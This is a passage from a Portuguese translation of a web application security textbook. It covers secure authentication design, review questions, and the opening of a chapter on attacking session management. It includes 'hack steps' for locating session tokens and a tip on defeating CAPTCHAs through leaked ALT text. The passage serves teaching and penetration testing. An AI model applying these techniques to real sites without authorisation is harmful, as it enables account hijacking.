- Quando aplicável, considere capturar algumas das informações de login do usuário (por exemplo, letras únicas de uma palavra memorável) usando menus suspensos em vez de campos de texto. Isso evitará que keyloggers instalados no computador do usuário capturem todos os dados enviados pelo usuário. (Observe, no entanto, que um simples keylogger é apenas um meio pelo qual um invasor pode capturar a entrada do usuário. Se já tiver comprometido o computador do usuário, em princípio o invasor poderá registrar todo tipo de evento, inclusive movimentos do mouse, envios de formulários por HTTPS e capturas de tela).

Validar credenciais adequadamente

- As senhas devem ser validadas por completo, ou seja, com distinção entre maiúsculas e minúsculas, sem filtrar ou modificar nenhum caractere e sem truncar a senha.
- O aplicativo deve ser agressivo na defesa contra eventos não protegidos que ocorrem durante o processamento do login. Por exemplo, dependendo da linguagem de desenvolvimento em uso, o aplicativo deve usar manipuladores de exceção catch-all em todas as chamadas de API. Eles

devem excluir explicitamente todos os

Os dados locais de sessão e método são usados para controlar o estado do processamento de login e devem invalidar explicitamente a sessão atual, causando assim um logout forçado pelo servidor, mesmo que a autenticação seja de alguma forma contornada.

- Toda a lógica de autenticação deve ser rigorosamente revisada no código, tanto como pseudocódigo quanto como código-fonte real do aplicativo, para identificar erros de lógica, como condições de falha na abertura.
- Se a funcionalidade de suporte à representação do usuário for implementada, ela deverá ser estritamente controlada para garantir que não possa ser usada indevidamente para obter acesso não autorizado. Devido à criticidade da funcionalidade, muitas vezes vale a pena remover essa funcionalidade do aplicativo voltado para o público e implementá-la somente para usuários administrativos internos, cujo uso de personificação deve ser rigorosamente controlado e auditado.
- Os logins de vários estágios devem ser estritamente controlados para evitar que um invasor interfira nas transições e nos relacionamentos entre os estágios:
  - Todos os dados sobre o progresso nos estágios e os resultados das tarefas de validação anteriores devem ser mantidos no objeto de sessão do lado do servidor e nunca devem ser transmitidos ou lidos pelo cliente.
  - Nenhum item de informação deve ser enviado mais de uma vez pelo usuário, e não deve haver meios para que o usuário modifique dados que já tenham sido coletados e/ou validados. Quando um item de dados, como um nome de usuário, for usado em vários estágios, ele deverá ser armazenado em uma variável de sessão quando for coletado pela primeira vez e referenciado a partir daí posteriormente.
  - A primeira tarefa realizada em cada estágio deve ser verificar se todos os estágios anteriores foram concluídos corretamente. Se esse não for o caso, a tentativa de autenticação deve ser imediatamente marcada como ruim.
  - Para evitar o vazamento de informações sobre qual estágio do login falhou (o que permitiria que um invasor visasse cada estágio por vez), o aplicativo deve sempre passar por todos os estágios do login, mesmo que o usuário não tenha concluído corretamente os estágios anteriores e mesmo que o nome de usuário original seja inválido. Depois de passar por todos os estágios, o aplicativo deve apresentar uma mensagem genérica de "falha no login" na conclusão do estágio final, sem fornecer nenhuma informação sobre onde ocorreu a falha.
- Quando um processo de login incluir uma pergunta que varia aleatoriamente, garanta que um invasor não possa escolher efetivamente sua própria pergunta:
  - Sempre empregue um processo de vários estágios no qual os usuários se identificam em um estágio inicial e a pergunta de variação aleatória é

apresentada a eles em um estágio posterior.

- Quando for apresentada a um determinado usuário uma determinada pergunta variável, armazene essa pergunta em seu perfil de usuário persistente e garanta que a mesma pergunta seja apresentada ao mesmo usuário em cada tentativa de login até que ele a responda com êxito.
- Quando um desafio que varia aleatoriamente for apresentado ao usuário, armazene a pergunta que foi feita em uma variável de sessão do lado do servidor, em vez de um campo oculto em um formulário HTML, e valide a resposta subsequente com base nessa pergunta salva.

OBSERVAÇÃO As sutilezas da criação de um mecanismo de autenticação seguro são profundas aqui. Se não for tomado cuidado ao fazer uma pergunta que varie aleatoriamente, isso pode levar a novas oportunidades de enumeração de nomes de usuário. Por exemplo, para evitar que um invasor escolha sua própria pergunta, um aplicativo pode armazenar no perfil de cada usuário a última pergunta feita a ele e continuar apresentando essa pergunta até que o usuário a responda corretamente. Um invasor que iniciar vários logins usando o nome de usuário de um determinado usuário receberá a mesma pergunta. No entanto, se o invasor realizar o mesmo processo usando
um nome de usuário inválido, o aplicativo pode se comportar de forma diferente: como nenhum perfil de usuário está associado a um nome de usuário inválido, não haverá nenhuma pergunta armazenada, portanto, será apresentada uma pergunta variável. O invasor pode usar essa diferença de comportamento, manifestada em várias tentativas de login, para inferir a validade de um determinado nome de usuário. Em um ataque com script, ele poderá obter vários nomes de usuário rapidamente.

Se um aplicativo quiser se defender contra essa possibilidade, ele deverá se esforçar um pouco. Quando uma tentativa de login é iniciada com um nome de usuário inválido, o aplicativo deve registrar em algum lugar a pergunta aleatória que apresentou para esse nome de usuário inválido e garantir que as tentativas de login subsequentes usando o mesmo nome de usuário sejam respondidas com a mesma pergunta. Indo ainda mais longe, o aplicativo poderia mudar para uma pergunta diferente periodicamente para simular que o usuário inexistente fez login normalmente, resultando em uma mudança na próxima pergunta! Em algum momento, no entanto, o designer do aplicativo deve estabelecer um limite e admitir que uma vitória total contra um atacante tão determinado provavelmente não será possível.

Evitar o vazamento de informações

- Os vários mecanismos de autenticação usados pelo aplicativo não devem divulgar nenhuma informação sobre os parâmetros de autenticação, seja por meio de mensagens abertas ou por inferência de outros aspectos do comportamento do aplicativo. Um invasor não deve ter meios de determinar qual parte dos vários itens enviados causou um problema.
- Um único componente de código deve ser responsável por responder a todas as tentativas de login com falha com uma mensagem genérica. Isso evita uma vulnerabilidade sutil

que pode ocorrer quando uma mensagem supostamente não informativa retornada de diferentes caminhos de código pode, na verdade, ser identificada por um invasor devido a diferenças gráficas de digitação na mensagem, diferentes códigos de status HTTP, outras informações ocultas em HTML e similares.

- Se o aplicativo aplicar algum tipo de bloqueio de conta para evitar ataques de força bruta (conforme discutido na próxima seção), tome cuidado para que isso não leve a nenhum vazamento de informações. Por exemplo, se um aplicativo divulgar que uma conta específica foi suspensa por *X* minutos devido a *Y* logins com falha, esse comportamento poderá ser facilmente usado para enumerar nomes de usuário válidos. Além disso, a divulgação das métricas precisas da política de bloqueio permite que um invasor otimize qualquer tentativa de continuar adivinhando senhas, apesar da política. Para evitar a enumeração de nomes de usuário, o aplicativo deve responder a *qualquer* série de tentativas de login fracassadas no mesmo navegador com uma mensagem genérica informando que as contas serão suspensas se ocorrerem várias falhas e que o usuário deve tentar novamente mais tarde. Isso pode ser feito usando um cookie ou um campo oculto para rastrear falhas repetidas originadas do mesmo navegador. (Obviamente, esse mecanismo não deve ser usado para impor nenhum controle de segurança real, apenas para fornecer uma mensagem útil aos usuários comuns que estão tendo dificuldades para lembrar suas credenciais).
- Se o aplicativo for compatível com o autorregistro, ele poderá impedir que essa função seja usada para enumerar os nomes de usuário existentes de duas maneiras:
  - Em vez de permitir a auto-seleção de nomes de usuário, o aplicativo pode criar um nome de usuário exclusivo (e imprevisível) para cada novo usuário, evitando, assim, a necessidade de revelar que um nome de usuário selecionado já existe.
  - O aplicativo pode usar endereços de e-mail como nomes de usuário. Aqui, a primeira etapa do processo de registro exige que o usuário insira seu endereço de e-mail, após o que ele é instruído a simplesmente aguardar um e-mail e seguir as instruções nele contidas. Se o endereço de e-mail já estiver registrado, o usuário poderá ser informado sobre isso no e-mail. Se o endereço ainda não estiver registrado, o usuário poderá receber um URL exclusivo e indecifrável para visitar e continuar o processo de registro. Isso impede que o invasor enumere nomes de usuário válidos (a menos que ele já tenha comprometido um grande número de contas de e-mail).

Evitar ataques de força bruta

- As medidas precisam ser aplicadas em todos os vários desafios implementados pela funcionalidade de autenticação para evitar ataques que tentem atender a esses desafios usando a automação. Isso inclui o próprio

login,

bem como funções para alterar a senha, para recuperar uma situação de esquecimento de senha e similares.

- O uso de nomes de usuário imprevisíveis e a prevenção de sua enumeração representam um obstáculo significativo para ataques de força bruta completamente cegos e exigem que um invasor tenha descoberto de alguma forma um ou mais nomes de usuário específicos antes de montar um ataque.
- Alguns aplicativos críticos de segurança (como bancos on-line) simplesmente desativam uma conta após um pequeno número de logins com falha (por exemplo, três). Eles também exigem que o proprietário da conta execute várias etapas fora da banda para reativá-la, como telefonar para o suporte ao cliente e responder a uma série de perguntas de segurança. As desvantagens dessa política são que ela permite que um invasor negue o serviço a usuários legítimos desativando repetidamente suas contas e o custo de fornecer o serviço de recuperação de conta. Uma política mais equilibrada, adequada para a maioria dos aplicativos sensíveis à segurança, é suspender as contas por um curto período (por exemplo, 30 minutos) após um pequeno número de tentativas de login com falha (por exemplo, três). Isso serve para desacelerar enormemente qualquer ataque de adivinhação de senha e, ao mesmo tempo, atenuar o risco de ataques de negação de serviço e também reduzir o trabalho da central de atendimento.
- Se uma política de suspensão temporária de conta for implementada, deve-se tomar cuidado para garantir sua eficácia:
  - Para evitar o vazamento de informações que leve à enumeração do nome de usuário, o aplicativo nunca deve indicar que uma conta específica foi suspensa. Em vez disso, ele deve responder a qualquer série de logins com falha, mesmo aqueles que usam um nome de usuário inválido, com uma mensagem informando que as contas são suspensas se ocorrerem várias falhas e que o usuário deve tentar novamente mais tarde (conforme discutido).
  - As métricas da política não devem ser divulgadas aos usuários. Simplesmente dizer aos usuários legítimos para "tentar novamente mais tarde" não diminui seriamente a qualidade do serviço. Mas informar a um invasor exatamente quantas tentativas fracassadas são toleradas e a duração do período de suspensão permite que ele otimize qualquer tentativa de continuar adivinhando senhas, apesar da política.
  - Se uma conta for suspensa, as tentativas de login deverão ser rejeitadas sem nem mesmo verificar as credenciais. Alguns aplicativos que implementaram uma política de suspensão permanecem vulneráveis à força bruta porque continuam a processar totalmente as tentativas de login durante o período de suspensão e retornam uma mensagem sutilmente (ou não tão sutilmente) diferente quando credenciais válidas são enviadas. Esse comportamento permite que um ataque eficaz de força bruta prossiga a toda velocidade, independentemente da política de suspensão.

- As contramedidas por conta, como o bloqueio de conta, não ajudam a proteger contra um tipo de ataque de força bruta que costuma ser altamente eficaz: a iteração por uma longa lista de nomes de usuário enumerados, verificando uma única senha fraca, como `a senha`. Por exemplo, se cinco tentativas fracassadas acionam uma suspensão de conta, isso significa que um invasor pode tentar quatro senhas diferentes em cada conta sem causar nenhum transtorno aos usuários. Em um aplicativo típico que contém muitas senhas fracas, esse invasor provavelmente comprometerá muitas contas.

A eficácia desse tipo de ataque será, é claro, enormemente reduzida se outras áreas do mecanismo de autenticação forem projetadas com segurança. Se os nomes de usuário não puderem ser enumerados ou previstos de forma confiável, o invasor será retardado pela necessidade de realizar um exercício de força bruta para adivinhar os nomes de usuário. E se houver requisitos rígidos para a qualidade da senha, é muito menos provável que o invasor escolha uma senha para teste que até mesmo um único usuário do aplicativo tenha escolhido.

Além desses controles, um aplicativo pode se proteger especificamente contra esse tipo de ataque com o uso de desafios CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) em todas as páginas que possam ser alvo de ataques de força bruta (consulte a Figura 6-9). Se eficaz, essa medida pode impedir qualquer envio automatizado de dados para qualquer página de aplicativo, impedindo assim que todos os tipos de ataques de adivinhação de senhas sejam executados manualmente. Observe que muitas pesquisas foram feitas sobre as tecnologias CAPTCHA, e os ataques automatizados contra elas foram, em alguns casos, confiáveis. Além disso, sabe-se que alguns invasores criam competições de resolução de CAPTCHA, nas quais membros do público sem testemunha são usados como drones para ajudar o invasor. No entanto, mesmo que um determinado tipo de desafio não seja totalmente eficaz, ele ainda levará a maioria dos invasores casuais a desistir e encontrar um aplicativo que não empregue a técnica.

Figura 6-9: Um controle CAPTCHA projetado para impedir ataques automatizados

DICA Se estiver atacando um aplicativo que usa controles CAPTCHA para impedir a automação, sempre examine atentamente a fonte HTML da página em que a imagem aparece. Os autores encontraram casos em que a solução

para o quebra-cabeça aparece de forma literal no atributo **ALT** da tag da imagem ou em um campo de formulário oculto, permitindo que um ataque com script derrote a proteção sem realmente resolver o quebra-cabeça em si.

Evitar o uso indevido da função de alteração de senha

- Uma função de alteração de senha deve ser sempre implementada para permitir a expiração periódica da senha (se necessário) e para permitir que os usuários alterem as senhas se quiserem, por qualquer motivo. Como um mecanismo de segurança importante, isso precisa ser bem protegido contra uso indevido.
- A função deve ser acessível somente em uma sessão autenticada.
- Não deve haver nenhum recurso para fornecer um nome de usuário, seja explicitamente ou por meio de um campo de formulário oculto ou cookie. Os usuários não têm necessidade legítima de tentar alterar as senhas de outras pessoas.
- Como medida de defesa em profundidade, a função deve ser protegida contra o acesso não autorizado obtido por meio de algum outro defeito de segurança no aplicativo, como uma vulnerabilidade de sequestro de sessão, script entre sites ou até mesmo um terminal sem supervisão. Para isso, os usuários devem ser solicitados a digitar novamente a senha existente.
- A nova senha deve ser inserida duas vezes para evitar erros. O aplicativo deve comparar os campos "new password" (nova senha) e "confirm new password" (confirmar nova senha) em sua primeira etapa e retornar um erro informativo se eles não corresponderem.
- A função deve impedir os vários ataques que podem ser feitos contra o mecanismo de login principal. Uma única mensagem de erro genérica deve ser usada para notificar os usuários sobre qualquer erro nas credenciais existentes, e a função deve ser temporariamente suspensa após um pequeno número de tentativas fracassadas de alterar a senha.
- Os usuários devem ser notificados fora da banda (por exemplo, por e-mail) de que sua senha foi alterada, mas a mensagem não deve conter as credenciais antigas nem as novas.

Evitar o uso indevido da função de recuperação de conta

- Nos aplicativos mais críticos para a segurança, como bancos on-line, a recuperação da conta em caso de esquecimento da senha é feita fora da banda. O usuário precisa fazer uma ligação telefônica e responder a uma série de perguntas de segurança, e novas credenciais ou um código de reativação também são enviados fora da banda (por correio convencional) para o endereço residencial registrado do usuário. A maioria dos aplicativos não quer ou não precisa desse nível de segurança, portanto, uma função de recuperação automatizada pode ser adequada.

- Um mecanismo de recuperação de senha bem projetado precisa evitar que as contas sejam comprometidas por uma parte não autorizada e minimizar qualquer interrupção para os usuários legítimos.
- Recursos como "dicas" de senha nunca devem ser usados, pois eles ajudam principalmente um invasor a procurar contas que tenham dicas óbvias definidas.
- A melhor solução automatizada para permitir que os usuários recuperem o controle das contas é enviar por e-mail ao usuário um URL de recuperação exclusivo, limitado por tempo, indecifrável e de uso único. Esse e-mail deve ser enviado para o endereço que o usuário forneceu durante o registro. Ao visitar o URL, o usuário pode definir uma nova senha. Depois de fazer isso, um segundo e-mail deve ser enviado, indicando que foi feita uma alteração de senha. Para evitar que um invasor negue o serviço aos usuários solicitando continuamente e-mails de reativação de senha, as credenciais existentes do usuário devem permanecer válidas até que sejam alteradas.
- Para proteger ainda mais contra o acesso não autorizado, os aplicativos podem apresentar aos usuários um desafio secundário que eles devem concluir antes de obter acesso à função de redefinição de senha. Certifique-se de que o design desse desafio não introduza novas vulnerabilidades:
  - O desafio deve implementar a mesma pergunta ou conjunto de perguntas para todos, exigido pelo aplicativo durante o registro. Se os usuários fornecerem seu próprio desafio, é provável que alguns deles sejam fracos, e isso também permite que um invasor enumere contas válidas identificando aquelas que têm um conjunto de desafios.
  - As respostas ao desafio devem conter entropia suficiente para que não possam ser facilmente adivinhadas. Por exemplo, pedir ao usuário o nome de sua primeira escola é preferível a pedir sua cor favorita.
  - As contas devem ser temporariamente suspensas após várias tentativas fracassadas de concluir o desafio, para evitar ataques de força bruta.
  - O aplicativo não deve vazar nenhuma informação no caso de respostas fracassadas ao desafio, em relação à validade do nome de usuário, à suspensão da conta e assim por diante.
  - A conclusão bem-sucedida do desafio deve ser seguida pelo processo descrito anteriormente, no qual uma mensagem é enviada ao endereço de e-mail registrado do usuário contendo um URL de reativação. Em nenhuma circunstância o aplicativo deve divulgar a senha esquecida do usuário ou simplesmente colocá-lo em uma sessão autenticada. É indesejável até mesmo seguir diretamente para a função de redefinição de senha. A resposta ao desafio de recuperação de conta será, em geral, mais fácil de ser adivinhada por um invasor do que a senha original, portanto, não se deve confiar nela para autenticar o usuário.

Registrar, monitorar e notificar

- O aplicativo deve registrar todos os eventos relacionados à autenticação, incluindo login, logout, alteração de senha, redefinição de senha, suspensão de conta e recuperação de conta. Quando aplicável, devem ser registradas as tentativas bem-sucedidas e as que falharam. Os registros devem conter todos os detalhes relevantes (como nome de usuário e endereço IP), mas nenhum segredo de segurança (como senhas). Os registros devem ser fortemente protegidos contra acesso não autorizado, pois são uma fonte crítica de vazamento de informações.
- As anomalias nos eventos de autenticação devem ser processadas pela funcionalidade de alerta e prevenção de intrusão em tempo real do aplicativo. Por exemplo, os administradores de aplicativos devem estar cientes dos padrões que indicam ataques de força bruta para que as medidas defensivas e ofensivas apropriadas possam ser consideradas.
- Os usuários devem ser notificados fora da banda sobre quaisquer eventos críticos de segurança. Por exemplo, o aplicativo deve enviar uma mensagem para o endereço de e-mail registrado de um usuário sempre que ele alterar a senha.
- Os usuários devem ser notificados dentro da banda sobre eventos de segurança que ocorrem com frequência. Por exemplo, após um login bem-sucedido, o aplicativo deve informar aos usuários a hora e o IP/domínio de origem do último login e o número de tentativas de login inválidas feitas desde então. Se um usuário for informado de que sua conta está sendo submetida a um ataque de adivinhação de senha, é mais provável que ele altere sua senha com frequência e a defina com um valor forte.

Resumo

As funções de autenticação são talvez o alvo mais proeminente na superfície de ataque de um aplicativo típico. Por definição, elas podem ser acessadas por usuários anônimos e sem privilégios. Se forem violadas, elas concedem acesso a funcionalidades protegidas e a dados confidenciais. Elas estão no centro dos mecanismos de segurança que um aplicativo emprega para se defender e são a linha de frente da defesa contra o acesso não autorizado.

Os mecanismos de autenticação do mundo real contêm uma infinidade de falhas de projeto e implementação. Um ataque eficaz contra eles precisa ser feito de forma sistemática, usando uma metodologia estruturada para trabalhar com todas as possíveis vias de ataque. Em muitos casos, os objetivos abertos se apresentam: senhas ruins, maneiras de descobrir nomes de usuário, vulnerabilidade a ataques de força bruta. No outro extremo do espectro, os defeitos podem ser muito difíceis de serem descobertos. Eles podem exigir um exame meticuloso de um processo de login complicado para estabelecer as suposições que estão sendo feitas.

e para ajudá-lo a identificar a falha lógica sutil que pode ser explorada para passar direto pela porta.

A lição mais importante ao atacar a funcionalidade de autenticação é procurar em todos os lugares. Além do formulário de login principal, pode haver funções para registrar novas contas, alterar senhas, lembrar senhas, recuperar senhas esquecidas e fazer-se passar por outros usuários. Cada uma delas apresenta um rico alvo de possíveis defeitos, e os problemas que foram conscientemente eliminados em uma função geralmente reaparecem em outras. Invista tempo para examinar e sondar cada centímetro de superfície de ataque que puder encontrar, e suas recompensas poderão ser grandes.

Perguntas

As respostas podem ser encontradas em `http://mdsec.net/wahh`.

1. Ao testar um aplicativo da Web, você faz login usando suas credenciais `joe` e `pass`. Durante o processo de login, você vê uma solicitação para o seguinte URL aparecer em seu proxy de interceptação:

   ```
   http://www.wahh-app.com/app?action=login&uname=joe&password=pass
   ```

   Quais são as três vulnerabilidades que você pode diagnosticar sem precisar fazer mais investigações?

2. Como as funções de autorregistro podem introduzir vulnerabilidades de enumeração de nomes de usuário? Como essas vulnerabilidades podem ser evitadas?

3. Um mecanismo de login envolve as seguintes etapas:

   (a) O aplicativo solicita o nome de usuário e a senha do usuário.

   (b) O aplicativo solicita duas letras escolhidas aleatoriamente da palavra memorável do usuário.

   Por que as informações necessárias são solicitadas em duas etapas separadas? Que defeito o mecanismo conteria se esse não fosse o caso?

4. Um mecanismo de login de vários estágios solicita primeiro o nome de usuário do usuário e, em seguida, vários outros itens em estágios sucessivos. Se algum item fornecido for inválido, o usuário retornará imediatamente ao primeiro estágio.

   O que há de errado com esse mecanismo e como a vulnerabilidade pode ser corrigida?

5. Um aplicativo incorpora um mecanismo antiphishing em sua funcionalidade de login. Durante o registro, cada usuário seleciona uma imagem específica de um grande banco de imagens memoráveis que o aplicativo apresenta a ele. A função de login envolve as seguintes etapas:

   (a) O usuário insere seu nome de usuário e data de nascimento.

(b) Se esses detalhes estiverem corretos, o aplicativo mostrará ao usuário a imagem escolhida; caso contrário, será exibida uma imagem aleatória.

(c) O usuário verifica se a imagem correta é exibida. Se for, ela digita sua senha.

A ideia por trás desse mecanismo antiphishing é que ele permite que o usuário confirme que está lidando com o aplicativo autêntico, e não com um clone, porque somente o aplicativo real sabe a imagem correta a ser exibida ao usuário.

Qual é a vulnerabilidade que esse mecanismo antiphishing introduz na função de login? O mecanismo é eficaz na prevenção de phishing?

CAPÍTULO

7

Ataque ao gerenciamento de sessões

O mecanismo de gerenciamento de sessão é um componente de segurança fundamental na maioria dos aplicativos da Web. É o que permite que o aplicativo identifique exclusivamente um determinado usuário em várias solicitações diferentes e manipule os dados que acumula sobre o estado da interação desse usuário com o aplicativo. Quando um aplicativo implementa a funcionalidade de login, o gerenciamento de sessões é particularmente importante, pois é o que permite que o aplicativo mantenha a garantia da identidade de um determinado usuário além da solicitação na qual ele fornece suas credenciais.

Devido ao papel fundamental desempenhado pelos mecanismos de gerenciamento de sessão, eles são o principal alvo de ataques mal-intencionados contra o aplicativo. Se um invasor conseguir interromper o gerenciamento de sessões de um aplicativo, ele poderá contornar efetivamente os controles de autenticação e se disfarçar como outros usuários do aplicativo sem conhecer suas credenciais. Se um invasor comprometer um usuário administrativo dessa forma, ele poderá ser o proprietário de todo o aplicativo.

Assim como nos mecanismos de autenticação, uma grande variedade de defeitos pode ser encontrada nas funções de gerenciamento de sessão. Nos casos mais vulneráveis, um invasor simplesmente precisa incrementar o valor de um token emitido pelo aplicativo para mudar seu contexto para o de um usuário diferente. Nessa situação, o aplicativo está totalmente aberto para que qualquer pessoa acesse todas as áreas. No outro extremo do espectro, um invasor pode ter que se esforçar muito, decifrando várias camadas de ofuscação e planejando um ataque automatizado sofisticado, antes de encontrar uma brecha na armadura do aplicativo.

Este capítulo examina todos os tipos de pontos fracos que os autores encontraram em aplicativos da Web do mundo real. Ele apresenta em detalhes as etapas práticas que você precisa seguir para encontrar e explorar esses defeitos. Por fim, descreve as medidas defensivas que os aplicativos devem adotar para se protegerem contra esses ataques.

MITO COMUM

"Usamos cartões inteligentes para autenticação, e as sessões dos usuários não podem ser concluídas sem eles."

Por mais robusto que seja o mecanismo de autenticação de um aplicativo, as solicitações subsequentes dos usuários só são vinculadas a essa autenticação por meio da sessão resultante. Se o gerenciamento de sessão do aplicativo estiver bloqueado, um invasor poderá contornar a autenticação robusta e ainda assim comprometer os usuários.

A necessidade do Estado

O protocolo HTTP é essencialmente sem estado. Ele se baseia em um modelo simples de solicitação-resposta, no qual cada par de mensagens representa uma transação independente. O protocolo em si não contém nenhum mecanismo para vincular a série de solicitações feitas por um determinado usuário e distingui-las de todas as outras solicitações recebidas pelo servidor da Web. Nos primórdios da Web, não havia necessidade de nenhum mecanismo desse tipo: os sites eram usados para publicar páginas HTML estáticas para serem visualizadas por qualquer pessoa. Hoje, as coisas são muito diferentes.

A maioria dos "sites" da Web são, na verdade, aplicativos da Web. Eles permitem que você se registre e faça login. Permitem que você compre e venda produtos. Eles lembram suas preferências na próxima vez que você os visita. Eles oferecem experiências multimídia avançadas com conteúdo criado dinamicamente com base no que você clica e digita. Para implementar qualquer uma dessas funcionalidades, os aplicativos da Web precisam usar o conceito de *sessão*. O uso mais óbvio das sessões é em aplicativos que suportam o login. Depois de digitar o nome de usuário e a senha, você poderá usar o aplicativo como o usuário cujas credenciais foram inseridas, até que faça logout ou a sessão expire devido à inatividade. Sem uma sessão, o usuário teria que digitar novamente sua senha em todas as páginas do aplicativo. Portanto, depois de autenticar o usuário uma vez, o aplicativo cria uma sessão para ele e trata todas as solicitações pertencentes a essa sessão como provenientes desse usuário.

Os aplicativos que não têm uma função de login também precisam usar sessões. Muitos sites de venda de mercadorias não exigem que os clientes criem contas. No entanto, eles permitem que os usuários naveguem pelo catálogo, adicionem itens a uma cesta de compras, forneçam detalhes de entrega e façam um pagamento. Nesse cenário, não há necessidade de autenticar a identidade do usuário: na maior parte da visita, o aplicativo não sabe nem se importa com a identidade do usuário. Mas, para fazer negócios com ele, precisa saber qual série de solicitações que recebeu foi originada do mesmo usuário.

O meio mais simples e ainda mais comum de implementar sessões é emitir para cada usuário um token ou identificador de sessão exclusivo. Em cada solicitação subsequente ao aplicativo, o usuário reenvia esse token, permitindo que o aplicativo determine a qual sequência de solicitações anteriores a solicitação atual se refere.

Na maioria dos casos, os aplicativos usam cookies HTTP como mecanismo de transmissão para passar esses tokens de sessão entre o servidor e o cliente. A primeira resposta do servidor a um novo cliente contém um cabeçalho HTTP como o seguinte:

```
Set-Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55
```

e as solicitações subsequentes do cliente contêm esse cabeçalho:

```
Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55
```

Esse mecanismo padrão de gerenciamento de sessão é inerentemente vulnerável a várias categorias de ataque. O principal objetivo de um invasor ao atacar o mecanismo é, de alguma forma, sequestrar a sessão de um usuário legítimo e, assim, mascarar-se como essa pessoa. Se o usuário tiver sido autenticado no aplicativo, o invasor poderá acessar dados privados pertencentes ao usuário ou realizar ações não autorizadas em nome dessa pessoa. Se o usuário não for autenticado, o invasor ainda poderá visualizar informações confidenciais enviadas pelo usuário durante a sessão.

Como no exemplo anterior de um servidor Microsoft IIS executando ASP.NET, a maioria dos servidores da Web comerciais e plataformas de aplicativos da Web implementam sua própria solução de gerenciamento de sessão pronta para uso com base em cookies HTTP. Elas fornecem APIs que os desenvolvedores de aplicativos da Web podem usar para integrar sua própria funcionalidade dependente de sessão a essa solução.

Descobriu-se que algumas implementações prontas para uso do gerenciamento de sessões são vulneráveis a vários ataques, o que faz com que as sessões dos usuários sejam comprometidas (essas questões serão discutidas mais adiante neste capítulo). Além disso, alguns desenvolvedores acham que precisam de um controle mais refinado sobre o comportamento da sessão do que o fornecido pelas soluções integradas, ou querem evitar algumas vulnerabilidades inerentes às soluções baseadas em cookies. Por esses motivos, é bastante comum ver mecanismos de gerenciamento de sessão personalizados e/ou não baseados em cookies usados em aplicativos críticos para a segurança, como bancos on-line.

As vulnerabilidades existentes nos mecanismos de gerenciamento de sessões se dividem em duas categorias:

- Deficiências na geração de tokens de sessão
- Deficiências no manuseio de tokens de sessão em todo o seu ciclo de vida

Analisaremos cada uma dessas áreas, descrevendo os diferentes tipos de defeitos que são comumente encontrados em mecanismos de gerenciamento de sessões reais e técnicas práticas para descobri-los e explorá-los. Por fim, descreveremos as medidas que os aplicativos podem adotar para se defenderem contra esses ataques.

ETAPAS DO HACK

Em muitos aplicativos que usam o mecanismo de cookie padrão para transmitir tokens de sessão, é fácil identificar qual item de dados contém o token. Entretanto, em outros casos, isso pode exigir algum trabalho de detetive.

1. Muitas vezes, o aplicativo pode empregar vários itens diferentes de dados coletivamente como um token, incluindo cookies, parâmetros de URL e campos de formulário ocultos. Alguns desses itens podem ser usados para manter o estado da sessão em diferentes componentes de back-end. Não presuma que um determinado parâmetro seja o token da sessão sem comprová-lo, ou que as sessões estejam sendo rastreadas usando apenas um item.
2. Às vezes, os itens que parecem ser o token de sessão do aplicativo podem não ser. Em particular, o cookie de sessão padrão gerado pelo servidor da Web ou pela plataforma do aplicativo pode estar presente, mas não ser realmente usado pelo aplicativo.
3. Observe quais novos itens são passados para o navegador após a autenticação. Geralmente, novos tokens de sessão são criados depois que um usuário se autentica.
4. Para verificar quais itens estão realmente sendo empregados como tokens, encontre uma página que seja definitivamente dependente da sessão (como uma página "meus detalhes" específica do usuário). Faça várias solicitações para ela, removendo sistematicamente cada item que você suspeita estar sendo usado como um token. Se a remoção de um item fizer com que a página dependente da sessão não seja retornada, isso *poderá* confirmar que o item é um token de sessão. O Burp Repeater é uma ferramenta útil para realizar esses testes.

Alternativas às sessões

Nem todo aplicativo da Web utiliza sessões, e alguns aplicativos críticos para a segurança que contêm mecanismos de autenticação e funcionalidades complexas optam por usar outras técnicas para gerenciar o estado. É provável que você encontre duas alternativas possíveis:

- **Autenticação HTTP** - Os aplicativos que usam as várias tecnologias de autenticação baseadas em HTTP (básica, digest, NTLM) às vezes evitam a necessidade de usar sessões. Com a autenticação HTTP, o componente do cliente interage com o mecanismo de autenticação diretamente por meio do navegador, usando cabeçalhos HTTP, e não por meio de código específico do aplicativo contido em qualquer página individual. Depois que o usuário insere suas credenciais em uma caixa de diálogo do navegador, o navegador efetivamente reenvia essas credenciais (ou realiza novamente qualquer handshake necessário) com cada solicitação subsequente ao mesmo servidor. Isso é equivalente a um aplicativo que usa autenticação baseada em formulários HTML e coloca um formulário de login em cada página do aplicativo, exigindo que os usuários se reautentiquem a cada ação que realizam. Portanto, quando a autenticação baseada em HTTP é usada, é possível

para que um aplicativo reidentifique o usuário em várias solicitações sem usar sessões. No entanto, a autenticação HTTP raramente é usada em aplicativos baseados na Internet de qualquer complexidade, e os outros benefícios versáteis que os mecanismos de sessão completos oferecem significam que praticamente todos os aplicativos da Web de fato empregam esses mecanismos.

- **Mecanismos de estado sem sessão** - Alguns aplicativos não emitem tokens de sessão para gerenciar o estado da interação de um usuário com o aplicativo. Em vez disso, eles transmitem todos os dados necessários para gerenciar esse estado por meio do cliente, geralmente em um cookie ou em um campo de formulário oculto. De fato, esse mecanismo usa o estado sem sessão, como faz o ASP.NET `ViewState`. Para que esse tipo de mecanismo seja seguro, os dados transmitidos pelo cliente devem ser protegidos adequadamente. Isso geralmente envolve a construção de um blob binário contendo todas as informações de estado e a criptografia ou assinatura desse blob usando um algoritmo reconhecido. Deve-se incluir contexto suficiente nos dados para evitar que um invasor colete um objeto de estado em um local do aplicativo e o envie para outro local para causar algum comportamento indesejável. O aplicativo também pode incluir um tempo de expiração nos dados do objeto para executar o equivalente ao tempo limite da sessão. O Capítulo 5 descreve com mais detalhes os mecanismos seguros para a transmissão de dados por meio do cliente.

ETAPAS DO HACK

1. Se a autenticação HTTP estiver sendo usada, é possível que nenhum mecanismo de gerenciamento de sessão esteja implementado. Use os métodos descritos anteriormente para examinar a função desempenhada por quaisquer itens de dados semelhantes a tokens.
2. Se o aplicativo usar um mecanismo de estado sem sessão, transmitindo todos os dados necessários para manter o estado por meio do cliente, às vezes pode ser difícil detectar com certeza, mas os seguintes são fortes indicadores de que esse tipo de mecanismo está sendo usado:
   - Os itens de dados do tipo token emitidos para o cliente são bastante longos (100 ou mais bytes).
   - O aplicativo emite um novo item semelhante a um token em resposta a cada solicitação.
